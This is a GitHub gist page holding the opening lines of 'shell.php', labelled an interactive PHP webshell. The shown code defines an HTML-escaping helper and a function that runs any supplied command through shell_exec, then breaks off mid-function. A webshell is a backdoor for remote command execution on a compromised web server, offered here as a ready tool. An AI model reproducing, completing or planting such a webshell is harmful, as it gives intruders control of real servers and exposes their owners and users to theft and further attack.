Skip to content

Instantly share code, notes, and snippets.

View romainlaisne's full-sized avatar

Romain romainlaisne

View GitHub Profile
@romainlaisne
romainlaisne / shell.php
Created January 24, 2019 12:08 — forked from mrpapercut/shell.php
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {